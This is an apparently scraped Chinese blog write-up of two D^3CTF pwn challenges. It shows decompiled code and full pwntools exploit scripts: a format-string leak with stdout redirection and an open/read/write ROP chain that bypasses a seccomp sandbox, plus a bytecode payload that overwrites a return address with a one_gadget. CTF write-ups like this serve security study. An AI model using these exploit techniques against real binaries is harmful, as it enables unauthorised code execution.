这次 的D^3ctf 又是给吊打 难顶。。。

所以题都是赛后解出来的,在这感谢Peanuts师傅

unprintableV

看看保护:

看看伪代码,其实代码很少

void __cdecl menu()
{
char *a; // [rsp+8h] [rbp-8h] a = buf;
puts("welcome to d^3CTF!");
printf("here is my gift: %p\n", &a);
puts("may you enjoy my printf test!");
close();
while ( strncmp(buf, "d^3CTF", 6uLL) && time )
vuln();
}

漏洞主要在vuln

void __cdecl vuln()
{
read(, buf, 0x12CuLL);
printf(buf, buf);
--time;
}

这里开了 沙箱

禁用了 execve

所以不能调用system getshell

所以应该用 open read  write结合读flag

但是  这里 有close(1)

就算利用 printf的格式化漏洞 读出内容了 ,还是显示不了,但是Peanuts师傅的指点,可以用 把 stdout 覆盖成 stderr  然后就可以输出了 然后就是常规的printf 格式化漏洞,最后 进行栈转移。

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch = "amd64"
def rsl(c1,c2):
r.recvuntil(c1)
r.sendline(c2) def rs(c1,c2):
r.recvuntil(c1)
r.send(c2)
def eee_aa(payload):
global count
r.send(payload.ljust(300,'\x00'))
sleep(0.1)
count = count -1
def set_value(c1,index_,n):
for i in range(n):
payload ='%'+str(int(index_+i))+'d%6$hhn'
eee_aa(payload)
one_gadget1 = ((c1)>>(i*8))&0xff
payload = "%"+str(one_gadget1)+"d%10$hhn"
eee_aa(payload) for i in range(1000):
count = 0x64
#r = process("./unprintableV")
#r = remote(host,port)
r=process("./unprintableV")
r.recvuntil("here is my gift: 0x")
leak = int(r.recv(12),16)
print hex(leak)
index = leak & 0xff
payload ='%'+str(int(index))+'c%6$hhn'
eee_aa(payload)
payload = "%32c%10$hhn"
eee_aa(payload)
payload = "%5440c%9$hn"
eee_aa(payload)
payload = '%7$p'
eee_aa(payload)
try:
ooo =r.recvuntil("0x",timeout = 0.5)
if ooo=='':
r.close()
continue
except Exception as e:
r.close()
continue
base_addr=int(r.recv(12),16)-0xafb payload = "%15$p"
print hex(base_addr)
eee_aa(payload)
r.recvuntil("0x")
libc_addr =int(r.recv(12),16)-0x20830
print hex(libc_addr)
mprotect_addr = libc.symbols['mprotect']+libc_addr
pop_rdi = libc_addr + 0x21102
pop_rsi = libc_addr + 0x202e8
pop_rdx = libc_addr + 0x1b92
pop_rcx = libc_addr + 0xea69a
pop_rax = libc_addr + 0x33544
syscall = libc_addr + 0xbc375
rop =p64(0)
rop += p64(pop_rdi)
rop +=p64(base_addr+0x202070)
rop +=p64(pop_rsi)
rop +=p64(0)
rop +=p64(pop_rdx)
rop +=p64(0)
rop +=p64(pop_rax)
rop +=p64(2)
rop +=p64(syscall)
#open
rop +=p64(pop_rdi)
rop +=p64(1)
rop +=p64(pop_rsi)
rop +=p64(base_addr+0x202300)
rop +=p64(pop_rdx)
rop +=p64(100)
rop +=p64(pop_rax)
rop +=p64(0)
rop +=p64(syscall)
#read
rop +=p64(pop_rdi)
rop +=p64(2)
rop +=p64(pop_rsi)
rop +=p64(base_addr+0x202300)
rop +=p64(pop_rdx)
rop +=p64(100)
rop +=p64(pop_rax)
rop +=p64(1)
rop +=p64(syscall)
set_value(base_addr+0x850,index+0x10,2)
set_value(base_addr+0x202080,index+0x18,6)
set_value(base_addr+0x9f8,index+0x20,6)
#raw_input()
#set_value(pop_rdi,index+0x10)
#set_value(leak,index+0x18)
#set_value(pop_rsi,index+0x20)
#set_value(0x1000,index+0x28)
#set_value(pop_rdx,index+0x30)
#payload ='%'+str(int(index+0x38))+'d%6$hhn'
#eee_aa(payload)
#one_gadget1 = 7
#print hex(one_gadget1)
#payload = "%"+str(one_gadget1)+"d%10$hhn"
#eee_aa(payload)
#set_value(leak,0x40)
print len(rop)
sleep(1)
payload="d^3CTF"
payload=payload.ljust(0x10,'\x00')
payload+="flag"
payload=payload.ljust(0x20,'\x00')
# open('./flag').read(fd,leak+300),write(1,leak+300,0x20)
payload=payload+rop
eee_aa(payload)
#raw_input()
r.interactive()
break

babyrop

这道的 保护倒是全开了

然后看看代码

里面定义了一个结构;

  a3->_esp = &v8;
a3->stack_size = ;
a3->_ebp = a3->_esp + 0x50;

然后 下面 有一些操作,然后可以看出 这个结构维持了 一个栈堆的结构。

while ( *(*index + code) )
{
v4 = *(*index + code);
switch ( off_14B4 )
{
case 0u:
*index = 0LL;
return 1LL;
case 8u:
push_int(stack, *(++*index + code));
*index += 4LL;
break;
case 0x12u:
put_char(stack, *(++*index + code));
++*index;
break;
case 0x15u:
push_int64(stack, *(++*index + code));
*index += 8LL;
break;
case 0x21u:
add_0(stack);
++*index;
break;
case 0x26u:
add_index(stack, *(++*index + code));
++*index;
break;
case 0x28u:
++*index;
if ( !stack_sub_0x80(stack, v6) )
exit();
return result;
case 0x30u:
index_sub(stack, *(++*index + code));
++*index;
break;
case 0x34u:
++*index;
sub_E17(stack);
break;
case 0x38u:
++*index;
set_zero_for(stack);
break;
case 0x42u:
sub_EDF(stack);
++*index;
break;
case 0x51u:
add(stack);
++*index;
break;
case 0x52u:
sub(stack);
++*index;
break;
case 0x56u:
mov_index(stack, *(++*index + code));
*index += 4LL;
break;
default:
exit();
return result;
}
}

while 里面的指令都是对 这个结构进行读取,pop push  加减 都有

这个漏洞的主要是

signed __int64 __fastcall sub_C26(struc_1 *a1, _QWORD *a2)
{
if ( !a1->stack_size && *a2 > 1LL )#size是负数的时候 也是不满足的,导致了 栈越界访问,然后可以修改当前栈保存的 返回地址
return 0LL;
a1->_esp += 0x50LL;
a1->stack_size -= ;
++*a2;
return 1LL;
}

我们可以多次 调用这个 函数 。

另外,我们第一输入的256个字符是操作指令,有些指令带参数,有些不带参数。

但很关键的一点是

signed __int64 __fastcall int_mov(struc_1 *a1, int a2)
{
if ( a1->stack_size > 9u )
exit();
a1->_esp -= 8LL;
*a1->_esp = a2;
++a1->stack_size;
return 1LL;
}

我们 多次调用 sub_C26之后 会导致   a1->stack_size > 9u  不满足。

但是 有这个函数

signed __int64 __fastcall mov_index(struc_1 *a1, int a2)
{
*a1->_esp = a2;
return 1LL;
}

虽然 写 4个字节,但是也足够了  因为我们 可以找一个esp指向 0的值,然后赋值,然后再一直调用

signed __int64 __fastcall sub_E17(struc_1 *a1)
{
struc_1 *v1; // ST08_8 v1 = a1;
++a1->stack_size;
v1->_esp -= 8LL;
*v1->_esp = *(v1->_esp + );
*(a1->_esp + ) = 0LL;
return 1LL;
}

然后 加上栈上残留的___libc_start_main的地址 就可以获得一个 指向 onegadget的地址,然后就是一样的操作 继续往前面覆盖 最后覆盖掉 返回地址

但是 onegadget 也有条件  就是rsp+0x30为null 那么我们可以调用几次 sub_C26,然后写null

下面是exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug' r = process("./babyrop")
#r = remote(host,port)
def rsl(c1,c2):
r.recvuntil(c1)
r.sendline(c2) def rs(c1,c2):
r.recvuntil(c1)
r.send(c2) sleep(0.5)
payload = '\x28\x12\x12'+'\x28'*2+'\x34'+'\x28'+'\x34'*2+'\x28'+'\x34'*28+'\x56'+p32(0x24a3a)+'\x21'+'\x34'*5+'\x28'
payload = payload.ljust(256,'\x00')
r.send(payload)
r.interactive()

我这次是本地进行调试的 所以libc 可能和比赛有所不一样。。

D^3ctf两道 pwn的更多相关文章

  1. ACM/ICPC 之 欧拉回路两道(POJ1300-POJ1386)

    两道有关欧拉回路的例题 POJ1300-Door Man //判定是否存在从某点到0点的欧拉回路 //Time:0Ms Memory:116K #include<iostream> #in ...

  2. ACM/ICPC 之 Floyd范例两道(POJ2570-POJ2263)

    两道以Floyd算法为解法的范例,第二题如果数据量较大,须采用其他解法 POJ2570-Fiber Network //经典的传递闭包问题,由于只有26个公司可以采用二进制存储 //Time:141M ...

  3. ACM/ICPC 之 SPFA范例两道(POJ3268-POJ3259)

    两道以SPFA算法求解的最短路问题,比较水,第二题需要掌握如何判断负权值回路. POJ3268-Silver Cow Party //计算正逆最短路径之和的最大值 //Time:32Ms Memory ...

  4. ACM/ICPC 之 两道dijkstra练习题(ZOJ1053(POJ1122)-ZOJ1053)

    两道较为典型的单源最短路径问题,采用dijkstra解法 本来是四道练习题,后来发现后面两道用dijkstra来解的话总觉得有点冗余了,因此暂且分成三篇博客(本篇以及后两篇). ZOJ1053(POJ ...

  5. 两道二分coming~

    第一道:poj 1905Expanding Rods 题意:两道墙(距离L)之间架一根棒子,棒子受热会变长,弯曲,长度变化满足公式( s=(1+n*C)*L),求的是弯曲的高度h. 首先来看这个图: ...

  6. JAVA算法两道

    算法(JAVA)----两道小小课后题   LZ最近翻了翻JAVA版的数据结构与算法,无聊之下将书中的课后题一一给做了一遍,在此给出书中课后题的答案(非标准答案,是LZ的答案,猿友们可以贡献出自己更快 ...

  7. 两道面试题,带你解析Java类加载机制

    文章首发于[博客园-陈树义],点击跳转到原文<两道面试题,带你解析Java类加载机制> 在许多Java面试中,我们经常会看到关于Java类加载机制的考察,例如下面这道题: class Gr ...

  8. 【转】两道面试题,带你解析Java类加载机制(类初始化方法 和 对象初始化方法)

    本文转自 https://www.cnblogs.com/chanshuyi/p/the_java_class_load_mechamism.html 关键语句 我们只知道有一个构造方法,但实际上Ja ...

  9. leetcode简单题目两道(2)

    Problem Given an integer, write a function to determine if it is a power of three. Follow up: Could ...

随机推荐

  1. IOT设备的7大安全问题

    IOT设备的7大安全问题 串口安全 IOT设备一般包含各类串口,并且这些串口缺乏认证机制.一旦暴露给了hacker,hacker可以很容易的查找敏感信息和dump固件,从而导致各类安全问题.建议厂家在 ...

  2. 【原创】从零开始搭建Electron+Vue+Webpack项目框架,一套代码,同时构建客户端、web端(二)

    摘要:上篇文章说到了如何新建工程,并启动一个最简单的Electron应用.“跑起来”了Electron,那就接着把Vue“跑起来”吧.有一点需要说明的是,webpack是贯穿这个系列始终的,我也是本着 ...

  3. node留言板

    这是一个nodejs + mongodb 的小项目,对数据库的增删改查 1. 引入项目依赖 "art-template": "^4.13.2", "b ...

  4. Centos6 Tengine开启http2传输协议

    1.前言 最近在优化网站的访问速度,为网站开启http2协议,这个协议有什么优点呢?如下: http2是下一代的传输协议,以后都会普遍用它,是一个趋势. http2有多路复用特性,意思是访问一个域名下 ...

  5. ArcGIS Engine连接ArcSDE SQL Server(获得所有SDE图层)

    ArcSDE是ESRI公司推出的基于SDE技术的空间数据库解决方案,它是在现有的关系或对象关系型数据库管理系统的基础上进行应用扩展,可以将空间数据和非空间数据存储在目前绝大多数商用DBMS中,享受商用 ...

  6. LVS NAT模式实践

    client:192.168.4.10/24 proxy:192.168.2.5/24 192.168.4.5/24 web1:192.168.4.100/24 web2:192.168.4.200/ ...

  7. CDQ分治学习笔记(三维偏序题解)

    首先肯定是要膜拜CDQ大佬的. 题目背景 这是一道模板题 可以使用bitset,CDQ分治,K-DTree等方式解决. 题目描述 有 nn 个元素,第 ii 个元素有 a_iai​.b_ibi​.c_ ...

  8. 虚拟机添加硬盘RAID5并分区、格式化、挂载使用

    当全新安装了一块新的硬盘设备后,为了更充分.安全的利用硬盘空间首先要进行磁盘的分区,然后格式化,最后挂载使用. 1.开启虚拟机之前,先添加硬盘设备,在这里我添加了5块硬盘(5块磁盘,3块做RAID5, ...

  9. 使用 Scrapy 爬取去哪儿网景区信息

    Scrapy 是一个使用 Python 语言开发,为了爬取网站数据,提取结构性数据而编写的应用框架,它用途广泛,比如:数据挖掘.监测和自动化测试.安装使用终端命令 pip install Scrapy ...

  10. VS2019打包WPF安装程序最新教程

    VS2019打包WPF安装程序最新教程,使用Visual Studio 2019开发的WPF程序如果想要打包为安装程序,除了在VS2019找到WPF项目类库直接右键发布之外,更常用的还是将其打包为ex ...